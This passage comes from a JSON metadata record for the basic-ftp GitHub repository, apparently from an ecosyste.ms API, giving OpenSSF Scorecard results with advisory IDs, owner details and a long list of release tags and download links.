signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@